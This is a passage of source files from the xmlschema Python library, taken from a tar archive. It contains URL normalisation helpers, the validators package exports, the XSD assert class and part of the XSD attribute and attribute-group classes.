Copyright (c), 2016-2024, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato <brunato@sissa.it> # import os.path import platform from pathlib import Path from string import ascii_letters from collections.abc import Iterable, MutableMapping from typing import Optional from urllib.parse import urlsplit, urlunsplit, quote, quote_plus, unquote, unquote_plus from xmlschema.aliases import NormalizedLocationsType, LocationsType from xmlschema.utils.paths import get_uri, LocationPath def is_local_scheme(scheme: str) -> bool: return not scheme or scheme == 'file' or scheme in ascii_letters and len(scheme) == 1 def is_url(obj: object) -> bool: """Returns `True` if the provided object is a URL, `False` otherwise.""" if isinstance(obj, str): if '\n' in obj or obj.lstrip().startswith('<'): return False elif isinstance(obj, bytes): if b'\n' in obj or obj.lstrip().startswith(b'<'): return False else: return isinstance(obj, Path) try: urlsplit(obj.strip()) # type: ignore except ValueError: # pragma: no cover return False else: return True def is_remote_url(obj: object) -> bool: if isinstance(obj, str): if '\n' in obj or obj.lstrip().startswith('<'): return False url = obj.strip() elif isinstance(obj, bytes): if b'\n' in obj or obj.lstrip().startswith(b'<'): return False url = obj.strip().decode('utf-8') else: return False try: return not is_local_scheme(urlsplit(url).scheme) except ValueError: # pragma: no cover return False def is_local_url(obj: object) -> bool: if isinstance(obj, str): if '\n' in obj or obj.lstrip().startswith('<'): return False url = obj.strip() elif isinstance(obj, bytes): if b'\n' in obj or obj.lstrip().startswith(b'<'): return False url = obj.strip().decode('utf-8') else: return isinstance(obj, Path) try: return is_local_scheme(urlsplit(url).scheme) except ValueError: # pragma: no cover return False def get_url(obj: object) -> Optional[str]: """If the argument is a URL returns it as a string, returns `None` otherwise.""" if isinstance(obj, str): if '\n' in obj or obj.lstrip().startswith('<'): return None try: urlsplit(obj.strip()).geturl() except ValueError: # pragma: no cover return None else: return obj elif isinstance(obj, bytes): if b'\n' in obj or obj.lstrip().startswith(b'<'): return None try: urlsplit(obj.strip()).geturl() except ValueError: # pragma: no cover return None else: return obj.decode() elif isinstance(obj, Path): return str(obj) else: return None def is_encoded_url(url: str) -> bool: """ Determines whether the given URL is encoded. The case with '+' and without spaces is not univocal and the plus signs are ignored for the result. """ return unquote(url) != url or \ '+' in url and ' ' not in url and \ unquote(url.replace('+', '$')) != url.replace('+', '$') def is_safe_url(url: str, method: str = 'xml') -> bool: """Determines whether the given URL is safe.""" query_quote = quote_plus if method == 'html' else quote query_unquote = unquote_plus if method == 'html' else unquote parts = urlsplit(url) path_safe = ':/\\' if is_local_scheme(parts.scheme) else '/' return parts.netloc == quote(unquote(parts.netloc), safe='@:') and \ parts.path == quote(unquote(parts.path), safe=path_safe) and \ parts.query == query_quote(query_unquote(parts.query), safe=';/?:@=&') and \ parts.fragment == query_quote(query_unquote(parts.fragment), safe=';/?:@=&') def encode_url(url: str, method: str = 'xml') -> str: """Encode the given url, if necessary.""" if is_safe_url(url, method): return url elif is_encoded_url(url): url = decode_url(url, method) query_quote = quote_plus if method == 'html' else quote parts = urlsplit(url) path_safe = ':/\\' if is_local_scheme(parts.scheme) else '/' return urlunsplit(( parts.scheme, quote(parts.netloc, safe='@:'), quote(parts.path, safe=path_safe), query_quote(parts.query, safe=';/?:@=&'), query_quote(parts.fragment, safe=';/?:@=&'), )) def decode_url(url: str, method: str = 'xml') -> str: """Decode the given url, if necessary.""" if not is_encoded_url(url): return url query_unquote = unquote_plus if method == 'html' else unquote parts = urlsplit(url) return urlunsplit(( parts.scheme, unquote(parts.netloc), unquote(parts.path), query_unquote(parts.query), query_unquote(parts.fragment), )) def normalize_url(url: str, base_url: Optional[str] = None, keep_relative: bool = False, method: str = 'xml') -> str: """ Returns a normalized URL eventually joining it to a base URL if it's a relative path. Path names are converted to 'file' scheme URLs and unsafe characters are encoded. Query and fragments parts are kept only for non-local URLs :param url: a relative or absolute URL. :param base_url: a reference base URL. :param keep_relative: if set to `True` keeps relative file paths, which would \ not strictly conformant to specification (RFC 8089), because *urlopen()* doesn't \ accept a simple pathname. :param method: method used to encode query and fragment parts. If set to `html` \ the whitespaces are replaced with `+` characters. :return: a normalized URL string. """ url_parts = urlsplit(url.lstrip()) if not is_local_scheme(url_parts.scheme): return encode_url(get_uri(*url_parts), method) path = LocationPath.from_uri(url) if path.is_absolute(): return path.normalize().as_uri() if base_url is not None: base_url_parts = urlsplit(base_url.lstrip()) base_path = LocationPath.from_uri(base_url) if is_local_scheme(base_url_parts.scheme): path = base_path.joinpath(path) elif not url_parts.scheme: url = get_uri( base_url_parts.scheme, base_url_parts.netloc, base_path.joinpath(path).normalize().as_posix(), ) return encode_url(url, method) if path.is_absolute() or keep_relative: return path.normalize().as_uri() base_path = LocationPath(os.getcwd()) return base_path.joinpath(path).normalize().as_uri() def location_is_file(url: str) -> bool: if not is_local_url(url): return False if os.path.isfile(url): return True path = unquote(urlsplit(normalize_url(url)).path) if path.startswith('/') and platform.system() == 'Windows': path = path[1:] return os.path.isfile(path) def normalize_locations(locations: LocationsType, base_url: Optional[str] = None, keep_relative: bool = False) -> NormalizedLocationsType: """ Returns a list of normalized locations. The locations are normalized using the base URL of the instance. :param locations: a dictionary or a list of couples containing namespace location hints. :param base_url: the reference base URL for construct the normalized URL from the argument. :param keep_relative: if set to `True` keeps relative file paths, which would not strictly \ conformant to URL format specification. :return: a list of couples containing normalized namespace location hints. """ normalized_locations = [] if isinstance(locations, MutableMapping): for ns, value in locations.items(): if isinstance(value, list): normalized_locations.extend( [(ns, normalize_url(url, base_url, keep_relative)) for url in value] ) else: normalized_locations.append((ns, normalize_url(value, base_url, keep_relative))) else: normalized_locations.extend( [(ns, normalize_url(url, base_url, keep_relative)) for ns, url in locations] ) return normalized_locations def match_location(url: str, locations: Iterable[str]) -> Optional[str]: """ Match a URL against a group of locations. Give priority to exact matches, then to the match with the highest score after filtering out the locations that are not compatible with provided url. The score of a location path is determined by the number of path levels minus the number of parent steps. If no match is found returns `None`. """ def is_compatible(loc: str) -> bool: parts = urlsplit(loc) return not parts.scheme or scheme == parts.scheme and netloc == parts.netloc if url in locations: return url scheme, netloc = urlsplit(url)[:2] path = LocationPath.from_uri(url).normalize() matching_url = None matching_score = None for other_url in filter(is_compatible, locations): other_path = LocationPath.from_uri(other_url).normalize() pattern = other_path.as_posix().replace('..', '*') if path.match(pattern): score = pattern.count('/') - pattern.count('*') if matching_score is None or matching_score < score: matching_score = score matching_url = other_url return matching_url ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/validators/���������������������������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0017616�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/validators/__init__.py����������������������������������������������������0000664�0000000�0000000�00000007621�15020401055�0021735�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������# Copyright (c), 2016-2020, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato <brunato@sissa.it> # from .exceptions import XMLSchemaValidatorError, XMLSchemaParseError, \ XMLSchemaModelError, XMLSchemaModelDepthError, XMLSchemaValidationError, \ XMLSchemaDecodeError, XMLSchemaEncodeError, XMLSchemaNotBuiltError, \ XMLSchemaChildrenValidationError, XMLSchemaStopValidation, \ XMLSchemaIncludeWarning, XMLSchemaImportWarning, \ XMLSchemaTypeTableWarning, XMLSchemaAssertPathWarning from .validation import check_validation_mode, XSD_VALIDATION_MODES, ValidationContext, \ DecodeContext, EncodeContext, ValidationMixin from .xsdbase import XsdValidator, XsdComponent, XsdAnnotation, XsdType from .particles import ParticleMixin from .assertions import XsdAssert from .notations import XsdNotation from .identities import XsdSelector, XsdFieldSelector, XsdIdentity, XsdKeyref, XsdKey, \ XsdUnique, Xsd11Keyref, Xsd11Key, Xsd11Unique from .facets import XsdFacet, XsdWhiteSpaceFacet, XsdLengthFacet, XsdMinLengthFacet, \ XsdMaxLengthFacet, XsdMinExclusiveFacet, XsdMinInclusiveFacet, XsdMaxExclusiveFacet, \ XsdMaxInclusiveFacet, XsdFractionDigitsFacet, XsdTotalDigitsFacet, \ XsdExplicitTimezoneFacet, XsdPatternFacets, XsdEnumerationFacets, XsdAssertionFacet from .wildcards import XsdAnyElement, Xsd11AnyElement, XsdAnyAttribute, Xsd11AnyAttribute, \ XsdOpenContent, XsdDefaultOpenContent from .attributes import XsdAttribute, Xsd11Attribute, XsdAttributeGroup from .simple_types import XsdSimpleType, XsdAtomic, XsdAtomicBuiltin, \ XsdAtomicRestriction, Xsd11AtomicRestriction, XsdList, XsdUnion, Xsd11Union from .complex_types import XsdComplexType, Xsd11ComplexType from .models import ModelVisitor from .groups import XsdGroup, Xsd11Group from .elements import XsdElement, Xsd11Element, XsdAlternative from .builders import XsdBuilders, GlobalMaps from .xsd_globals import XsdGlobals from .schemas import XMLSchemaMeta, XMLSchemaBase, XMLSchema, XMLSchema10, XMLSchema11 __all__ = [ 'check_validation_mode', 'XSD_VALIDATION_MODES', 'ValidationContext', 'DecodeContext', 'EncodeContext', 'ValidationMixin', 'XMLSchemaValidatorError', 'XMLSchemaParseError', 'XMLSchemaModelError', 'XMLSchemaModelDepthError', 'XMLSchemaValidationError', 'XMLSchemaDecodeError', 'XMLSchemaEncodeError', 'XMLSchemaNotBuiltError', 'XMLSchemaChildrenValidationError', 'XMLSchemaStopValidation', 'XMLSchemaIncludeWarning', 'XMLSchemaImportWarning', 'XMLSchemaTypeTableWarning', 'XMLSchemaAssertPathWarning', 'XsdValidator', 'XsdComponent', 'XsdAnnotation', 'XsdType', 'ParticleMixin', 'XsdAssert', 'XsdNotation', 'XsdSelector', 'XsdFieldSelector', 'XsdIdentity', 'XsdKeyref', 'XsdKey', 'XsdUnique', 'Xsd11Keyref', 'Xsd11Key', 'Xsd11Unique', 'XsdFacet', 'XsdWhiteSpaceFacet', 'XsdLengthFacet', 'XsdMinLengthFacet', 'XsdMaxLengthFacet', 'XsdMinExclusiveFacet', 'XsdMinInclusiveFacet', 'XsdMaxExclusiveFacet', 'XsdMaxInclusiveFacet', 'XsdFractionDigitsFacet', 'XsdTotalDigitsFacet', 'XsdExplicitTimezoneFacet', 'XsdPatternFacets', 'XsdEnumerationFacets', 'XsdAssertionFacet', 'XsdAnyElement', 'Xsd11AnyElement', 'XsdAnyAttribute', 'Xsd11AnyAttribute', 'XsdOpenContent', 'XsdDefaultOpenContent', 'XsdAttribute', 'Xsd11Attribute', 'XsdAttributeGroup', 'XsdSimpleType', 'XsdAtomic', 'XsdAtomicBuiltin', 'XsdAtomicRestriction', 'Xsd11AtomicRestriction', 'XsdList', 'XsdUnion', 'Xsd11Union', 'XsdComplexType', 'Xsd11ComplexType', 'ModelVisitor', 'XsdGroup', 'Xsd11Group', 'XsdElement', 'Xsd11Element', 'XsdAlternative', 'XsdBuilders', 'GlobalMaps', 'XsdGlobals', 'XMLSchemaMeta', 'XMLSchemaBase', 'XMLSchema', 'XMLSchema10', 'XMLSchema11', ] ���������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/validators/assertions.py��������������������������������������������������0000664�0000000�0000000�00000014270�15020401055�0022366�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������# # Copyright (c), 2016-2020, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato <brunato@sissa.it> # import warnings from collections.abc import Iterator from typing import TYPE_CHECKING, Any, Union from elementpath import ElementPathError, XPathContext, XPathToken, \ SchemaElementNode, build_schema_node_tree from xmlschema.names import XSD_ASSERT from xmlschema.aliases import ElementType, SchemaType, SchemaElementType from xmlschema.translation import gettext as _ from xmlschema.xpath import ElementPathMixin, XMLSchemaProxy from .exceptions import XMLSchemaNotBuiltError, XMLSchemaAssertPathWarning from .validation import DecodeContext from .xsdbase import XsdComponent from .groups import XsdGroup if TYPE_CHECKING: from elementpath import XPath2Parser from elementpath.xpath3 import XPath3Parser from .attributes import XsdAttributeGroup from .complex_types import XsdComplexType from .elements import XsdElement from .wildcards import XsdAnyElement warnings.filterwarnings(action="always", category=XMLSchemaAssertPathWarning) class XsdAssert(XsdComponent, ElementPathMixin[Union['XsdAssert', SchemaElementType]]): """ Class for XSD *assert* constraint definitions. .. <assert id = ID test = an XPath expression xpathDefaultNamespace = (anyURI | (##defaultNamespace | ##targetNamespace | ##local)) {any attributes with non-schema namespace . . .}> Content: (annotation?) </assert> """ parent: 'XsdComplexType' token: XPathToken parser: Union['XPath2Parser', 'XPath3Parser'] _ADMITTED_TAGS = XSD_ASSERT, __slots__ = ( 'token', 'parser', 'path', 'base_type', 'xpath_default_namespace', ) def __init__(self, elem: ElementType, schema: SchemaType, parent: 'XsdComplexType', base_type: 'XsdComplexType') -> None: self.base_type = base_type super().__init__(elem, schema, parent) def __repr__(self) -> str: if len(self.path) < 40: return '%s(test=%r)' % (self.__class__.__name__, self.path) else: return '%s(test=%r)' % (self.__class__.__name__, self.path[:37] + '...') def _parse(self) -> None: try: self.path = self.elem.attrib['test'].strip() except KeyError: self.path = 'true()' self.parse_error(_("missing required attribute 'test'")) if 'xpathDefaultNamespace' in self.elem.attrib: self.xpath_default_namespace = self._parse_xpath_default_namespace(self.elem) else: self.xpath_default_namespace = self.schema.xpath_default_namespace def build(self) -> None: # Assert requires a schema bound parser because select # is on XML elements and with XSD type decoded values if self._built: return self._built = True self.parser = self.maps.loader.xpath_parser_class( namespaces=self.schema.namespaces, variable_types={'value': self.base_type.sequence_type}, strict=False, default_namespace=self.xpath_default_namespace, schema=self.xpath_proxy, ) try: self.token = self.parser.parse(self.path) except ElementPathError as err: self.token = self.parser.parse('true()') self.parse_error(err) else: if any(len(tk) < 2 for tk in self.token.iter('/', '//')): msg = ( f"The XPath expression of {self} contains absolute location paths " f"/ or //, but an assert XPath tree is rooted at a parentless elem" f"ent so these operators will return empty sequences." ) warnings.warn(msg, category=XMLSchemaAssertPathWarning, stacklevel=4) finally: if self.parser.variable_types: self.parser.variable_types.clear() def __call__(self, obj: ElementType, validation: str, context: DecodeContext, value: Any = None) -> None: if not hasattr(self, 'parser') or not hasattr(self, 'token'): raise XMLSchemaNotBuiltError(self, 'schema bound parser not set') if not self.parser.is_schema_bound() and self.parser.schema: self.parser.schema.bind_parser(self.parser) if value is not None: value = self.base_type.text_decode(value, context=context) xpath_context = XPathContext( root=context.source.get_xpath_node(obj), namespaces=context.namespaces, uri=context.source.url, fragment=True, variables={'value': value}, schema=self.parser.schema, ) try: if not self.token.evaluate(xpath_context): context.validation_error(validation, self, "assertion test is false", obj) except ElementPathError as err: context.validation_error(validation, self, err, obj) # For implementing ElementPathMixin def __iter__(self) -> Iterator[Union['XsdElement', 'XsdAnyElement']]: if isinstance(self.parent.content, XsdGroup): yield from self.parent.content.iter_elements() @property def attrib(self) -> 'XsdAttributeGroup': return self.parent.attributes @property def type(self) -> 'XsdComplexType': return self.parent @property def xpath_proxy(self) -> 'XMLSchemaProxy': return XMLSchemaProxy(self.schema, self) # noinspection PyTypeChecker @property def xpath_node(self) -> SchemaElementNode: schema_node = self.schema.xpath_node node = schema_node.get_element_node(self) if isinstance(node, SchemaElementNode): return node return build_schema_node_tree( root=self, uri=schema_node.uri, elements=schema_node.elements, global_elements=schema_node.children, ) ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/validators/attributes.py��������������������������������������������������0000664�0000000�0000000�00000101674�15020401055�0022367�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������# # Copyright (c), 2016-2020, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato <brunato@sissa.it> # """ This module contains classes for XML Schema attributes and attribute groups. """ from collections.abc import Iterator, MutableMapping from copy import copy from decimal import Decimal from functools import cached_property from typing import cast, Any, Optional, Union from elementpath.datatypes import AbstractDateTime, Duration from xmlschema.aliases import ComponentClassType, ElementType, \ AtomicValueType, SchemaType, DecodedValueType, NsmapType from xmlschema.exceptions import XMLSchemaValueError from xmlschema.names import XSI_NAMESPACE, XSD_ANY_SIMPLE_TYPE, XSD_SIMPLE_TYPE, \ XSD_ATTRIBUTE_GROUP, XSD_COMPLEX_TYPE, XSD_RESTRICTION, XSD_EXTENSION, \ XSD_ATTRIBUTE, XSD_ANY_ATTRIBUTE, XSD_ASSERT, XSD_NOTATION_TYPE, XSD_ANNOTATION from xmlschema.translation import gettext as _ from xmlschema.utils.decoding import EmptyType from xmlschema.utils.qnames import get_namespace, get_qname from .exceptions import XMLSchemaCircularityError from .validation import DecodeContext, EncodeContext, ValidationMixin from .xsdbase import XsdComponent, XsdAnnotation from .simple_types import XsdSimpleType from .wildcards import XsdAnyAttribute AttributeGroupDecodeType = Optional[list[tuple[str, DecodedValueType]]] AttributeGroupEncodeType = Optional[list[tuple[str, str]]] class XsdAttribute(XsdComponent, ValidationMixin[Optional[str], DecodedValueType]): """ Class for XSD 1.0 *attribute* declarations. .. <attribute default = string fixed = string form = (qualified | unqualified) id = ID name = NCName ref = QName type = QName use = (optional | prohibited | required) : optional {any attributes with non-schema namespace ...}> Content: (annotation?, simpleType?) </attribute> """ _ADMITTED_TAGS = XSD_ATTRIBUTE, name: str local_name: str qualified_name: str prefixed_name: str type: XsdSimpleType """The XSD simpleType of the attribute.""" form: Optional[str] = None qualified: bool = False """ The effective form for the attribute. If `True` the attribute name is qualified by a braced namespace URI as prefix. The name of a global attribute is always qualified. """ default: Optional[str] = None """The default value of the attribute.""" fixed: Optional[str] = None """The fixed value of the attribute.""" use: str = 'optional' """Defines the use of the attribute. Can be 'optional', 'prohibited' or 'required'.""" inheritable: bool = False """ Defines whether the attribute can be inherited by descendant elements. XSD 1.1 only, it's always `False` for XSD 1.0 attributes. """ __slots__ = ('type',) def _parse(self) -> None: attrib = self.elem.attrib if 'use' in attrib and self.parent is not None and \ attrib['use'] in {'optional', 'prohibited', 'required'}: self.use = attrib['use'] if self._parse_reference(): try: xsd_attribute = self.maps.attributes[self.name] except KeyError: self.type = self.any_simple_type msg = _("unknown attribute {!r}") self.parse_error(msg.format(self.name)) else: self.ref = xsd_attribute self.target_namespace = xsd_attribute.target_namespace self.type = xsd_attribute.type self.qualified = xsd_attribute.qualified self.form = xsd_attribute.form if xsd_attribute.default is not None and 'default' not in attrib: self.default = xsd_attribute.default if xsd_attribute.fixed is not None: if 'fixed' not in attrib: self.fixed = xsd_attribute.fixed elif xsd_attribute.fixed != attrib['fixed']: msg = _("referenced attribute has a different fixed value {!r}") self.parse_error(msg.format(xsd_attribute.fixed)) for attribute in ('form', 'type'): if attribute in self.elem.attrib: msg = _("attribute {!r} is not allowed when attribute reference is used") self.parse_error(msg.format(attribute)) else: if 'form' in attrib: self.form = attrib['form'] if self.parent is not None and self.form == 'qualified': self.qualified = True elif self.schema.attribute_form_default == 'qualified': self.qualified = True try: name = attrib['name'] except KeyError: pass else: if name == 'xmlns': msg = _("an attribute name must be different from 'xmlns'") self.parse_error(msg) if self.parent is None or self.qualified: if self.target_namespace == XSI_NAMESPACE and \ name not in ('nil', 'type', 'schemaLocation', 'noNamespaceSchemaLocation'): msg = _("cannot add attributes in %r namespace") self.parse_error(msg % XSI_NAMESPACE) self.name = get_qname(self.target_namespace, name) else: self.name = name child = self._parse_child_component(self.elem) if 'type' in attrib: try: type_qname = self.schema.resolve_qname(attrib['type']) except (KeyError, ValueError, RuntimeError) as err: self.type = self.any_simple_type self.parse_error(err) else: try: self.type = cast(XsdSimpleType, self.maps.types[type_qname]) except KeyError as err: self.type = self.any_simple_type self.parse_error(err) if child is not None and child.tag == XSD_SIMPLE_TYPE: msg = _("ambiguous type definition for XSD attribute") self.parse_error(msg) elif child is not None: # No 'type' attribute in declaration, parse for child local simpleType self.type = self.builders.simple_type_factory(child, self.schema, self) else: # Empty declaration means xsdAnySimpleType self.type = self.any_simple_type if not isinstance(self.type, XsdSimpleType): self.type = self.any_simple_type msg = _("XSD attribute's type must be a simpleType") self.parse_error(msg) # Check value constraints if 'default' in attrib: self.default = attrib['default'] if 'fixed' in attrib: msg = _("'default' and 'fixed' attributes are mutually exclusive") self.parse_error(msg) if self.use != 'optional': msg = _("the attribute 'use' must be 'optional' " "if the attribute 'default' is present") self.parse_error(msg) if not self.type.text_is_valid(self.default): msg = _("default value {!r} is not compatible with attribute's type") self.parse_error(msg.format(self.default)) elif self.type.is_key() and self.xsd_version == '1.0': msg = _("xs:ID key attributes cannot have a default value") self.parse_error(msg) elif 'fixed' in attrib: self.fixed = attrib['fixed'] if not self.type.text_is_valid(self.fixed): msg = _("fixed value {!r} is not compatible with attribute's type") self.parse_error(msg.format(self.fixed)) elif self.type.is_key() and self.xsd_version == '1.0': msg = _("xs:ID key attributes cannot have a fixed value") self.parse_error(msg) @property def scope(self) -> str: """The scope of the attribute declaration that can be 'global' or 'local'.""" return 'global' if self.parent is None else 'local' @property def value_constraint(self) -> Optional[str]: """The fixed or the default value if either is defined, `None` otherwise.""" return self.fixed if self.fixed is not None else self.default def is_optional(self) -> bool: return self.use == 'optional' def is_required(self) -> bool: return self.use == 'required' def is_prohibited(self) -> bool: return self.use == 'prohibited' def iter_components(self, xsd_classes: ComponentClassType = None) \ -> Iterator[XsdComponent]: if xsd_classes is None or isinstance(self, xsd_classes): yield self if self.ref is None and self.type.parent is not None: yield from self.type.iter_components(xsd_classes) def data_value(self, text: str) -> AtomicValueType: """Returns the decoded data value of the provided text as XPath fn:data().""" return cast(AtomicValueType, self.decode(text, validation='skip')) def raw_decode(self, obj: Optional[str], validation: str, context: DecodeContext) \ -> DecodedValueType: if obj is None and self.default is not None: obj = self.default if self.type.is_notation(): if self.type.name == XSD_NOTATION_TYPE: msg = _("cannot validate against xs:NOTATION directly, " "only against a subtype with an enumeration facet") context.validation_error(validation, self, msg, obj) elif not self.type.enumeration: msg = _("missing enumeration facet in xs:NOTATION subtype") context.validation_error(validation, self, msg, obj) if self.fixed is not None: if obj is None: obj = self.fixed elif obj != self.fixed and \ self.type.text_decode(obj, context=context) != \ self.type.text_decode(self.fixed): msg = _("attribute {0!r} has a fixed value {1!r}").format(self.name, self.fixed) context.validation_error(validation, self, msg, obj) if obj is None: msg = _("attribute {0!r} has no value").format(self.name) context.validation_error(validation, self, msg, obj) return None value = self.type.raw_decode(obj, validation, context) if context.value_hook is not None: return context.value_hook(value, self.type) # type:ignore[arg-type] elif isinstance(value, context.keep_datatypes): return value elif value is None: if context.filler is not None: return context.filler(self) return value elif isinstance(value, str): if value[:1] == '{' and self.type.is_qname(): return obj else: return value elif isinstance(value, Decimal): if context.decimal_type is None: return value else: return context.decimal_type(value) elif isinstance(value, (AbstractDateTime, Duration)): return obj.strip() else: return str(value) def raw_encode(self, obj: Any, validation: str, context: EncodeContext) -> Optional[str]: return self.type.raw_encode(obj, validation, context) class Xsd11Attribute(XsdAttribute): """ Class for XSD 1.1 *attribute* declarations. .. <attribute default = string fixed = string form = (qualified | unqualified) id = ID name = NCName ref = QName targetNamespace = anyURI type = QName use = (optional | prohibited | required) : optional inheritable = boolean {any attributes with non-schema namespace . . .}> Content: (annotation?, simpleType?) </attribute> """ def _parse(self) -> None: super()._parse() if self.use == 'prohibited' and 'fixed' in self.elem.attrib: msg = _("attribute 'fixed' with use=prohibited is not allowed in XSD 1.1") self.parse_error(msg) if 'inheritable' in self.elem.attrib: if self.elem.attrib['inheritable'].strip() in ('true', '1'): self.inheritable = True self._parse_target_namespace() class XsdAttributeGroup( MutableMapping[Optional[str], Union[XsdAttribute, XsdAnyAttribute]], XsdComponent, ValidationMixin[MutableMapping[str, str], AttributeGroupDecodeType] ): """ Class for XSD *attributeGroup* definitions. .. <attributeGroup id = ID name = NCName ref = QName {any attributes with non-schema namespace . . .}> Content: (annotation?, ((attribute | attributeGroup)*, anyAttribute?)) </attributeGroup> """ _ADMITTED_TAGS = (XSD_ATTRIBUTE_GROUP, XSD_COMPLEX_TYPE, XSD_RESTRICTION, XSD_EXTENSION) __slots__ = ('_attribute_group', 'derivation', 'base_attributes') def __init__(self, elem: ElementType, schema: SchemaType, parent: Optional[XsdComponent] = None, derivation: Optional[str] = None, base_attributes: Optional['XsdAttributeGroup'] = None) -> None: self._attribute_group: dict[Optional[str], Union[XsdAttribute, XsdAnyAttribute]] = {} self.derivation = derivation self.base_attributes = base_attributes XsdComponent.__init__(self, elem, schema, parent) def __repr__(self) -> str: if self.name is not None: return '%s(name=%r)' % (self.__class__.__name__, self.name) elif self: names = [a if a.name is None else a.name for a in self.values()] return '%s(%r)' % (self.__class__.__name__, names) else: return '%s()' % self.__class__.__name__ # Implementation of abstract methods def __getitem__(self, key: Optional[str]) -> Union[XsdAttribute, XsdAnyAttribute]: return self._attribute_group[key] def __setitem__(self, key: Optional[str], value: Union[XsdAttribute, XsdAnyAttribute]) -> None: if value.name != key: msg = "mismatch between %(attr)r name and item key %(key)r" raise XMLSchemaValueError(msg % {'attr': value, 'key': key}) self._attribute_group[key] = value def __delitem__(self, key: Optional[str]) -> None: del self._attribute_group[key] def __iter__(self) -> Iterator[Optional[str]]: if None in self._attribute_group: # Put AnyAttribute ('None' key) at the end of iteration yield from sorted(self._attribute_group, key=lambda x: (x is None, x)) else: yield from self._attribute_group def __len__(self) -> int: return len(self._attribute_group) def _parse(self) -> None: if self.elem.tag == XSD_ATTRIBUTE_GROUP: if self.parent is not None: return # Skip parsing dummy instances try: self.name = get_qname(self.target_namespace, self.elem.attrib['name']) except KeyError: return else: if self.schema.default_attributes == self.name and self.xsd_version > '1.0': self.schema.default_attributes = self any_attribute = None attribute_group_refs: list[str] = [] attributes: dict[Optional[str], Union[XsdAttribute, XsdAnyAttribute]] = {} for child in self.elem: if child.tag == XSD_ANNOTATION or callable(child.tag): continue # pragma: no cover elif any_attribute is not None: if child.tag == XSD_ANY_ATTRIBUTE: msg = _("more anyAttribute declarations in the same attribute group") self.parse_error(msg) elif child.tag != XSD_ASSERT: msg = _("another declaration after anyAttribute") self.parse_error(msg) elif child.tag == XSD_ANY_ATTRIBUTE: any_attribute = self.builders.any_attribute_class(child, self.schema, self) if None in attributes: attributes[None] = attr = copy(attributes[None]) assert isinstance(attr, XsdAnyAttribute) attr.intersection(any_attribute) attr.parent = self else: attributes[None] = any_attribute elif child.tag == XSD_ATTRIBUTE: attribute = self.builders.attribute_class(child, self.schema, self) if attribute.name in attributes: msg = _("multiple declaration for attribute {!r}") self.parse_error(msg.format(attribute.name)) elif attribute.use != 'prohibited' or self.elem.tag != XSD_ATTRIBUTE_GROUP: attributes[attribute.name] = attribute elif child.tag == XSD_ATTRIBUTE_GROUP: try: ref = child.attrib['ref'] except KeyError: msg = _("the attribute 'ref' is required in a local attributeGroup") self.parse_error(msg) continue try: attribute_group_qname = self.schema.resolve_qname(ref) except (KeyError, ValueError, RuntimeError) as err: self.parse_error(err) else: if attribute_group_qname in attribute_group_refs: msg = _("duplicated attributeGroup {!r}") self.parse_error(msg.format(ref)) elif self.redefine is not None: if attribute_group_qname == self.name: if attribute_group_refs: msg = _("in a redefinition the reference to " "itself must be the first") self.parse_error(msg) attribute_group_refs.append(attribute_group_qname) attributes.update(self._attribute_group) continue elif not attribute_group_refs: # Maybe an attributeGroup restriction with a ref to another group if not any(e.tag == XSD_ATTRIBUTE_GROUP and ref == e.get('ref') for e in self.redefine.elem): msg = _("attributeGroup ref={!r} is not in the redefined group") self.parse_error(msg.format(ref)) elif attribute_group_qname == self.name and self.xsd_version == '1.0': msg = _("Circular attribute groups not allowed in XSD 1.0") self.parse_error(msg) attribute_group_refs.append(attribute_group_qname) try: ref_attributes = self.maps.attribute_groups[attribute_group_qname] except KeyError: msg = _("unknown attribute group {!r}") self.parse_error(msg.format(child.attrib['ref'])) except XMLSchemaCircularityError as err: if self.xsd_version == '1.0': self.parse_error(err, err.elem) else: for name, base_attr in ref_attributes.items(): if name not in attributes: attributes[name] = base_attr elif name is not None: if base_attr is not attributes[name]: msg = _("multiple declaration of attribute {!r}") self.parse_error(msg.format(name)) else: assert isinstance(base_attr, XsdAnyAttribute) attributes[None] = attr = copy(attributes[None]) assert isinstance(attr, XsdAnyAttribute) attr.intersection(base_attr) attr.parent = self elif self.name is not None: msg = _("(attribute | attributeGroup) expected, found {!r}.") self.parse_error(msg.format(child)) # Check and copy base attributes if self.base_attributes is not None: wildcard = cast(XsdAnyAttribute, self.base_attributes.get(None)) for name, attr in attributes.items(): if name not in self.base_attributes: if self.derivation != 'restriction': continue elif wildcard is None or not wildcard.is_matching(name): msg = _("Unexpected attribute {!r} in restriction") self.parse_error(msg.format(name)) continue base_attr = self.base_attributes[name] if isinstance(attr, XsdAnyAttribute): assert name is None, "name key resolves to an xs:anyAttribute" assert isinstance(base_attr, XsdAnyAttribute), "invalid base attribute" if self.derivation == 'extension': try: attr.union(base_attr) except ValueError as err: self.parse_error(err) elif not attr.is_restriction(base_attr): msg = _("Attribute wildcard is not a restriction of the base wildcard") self.parse_error(msg) continue assert name is not None, "None key resolves to an xs:attribute" assert isinstance(base_attr, XsdAttribute), 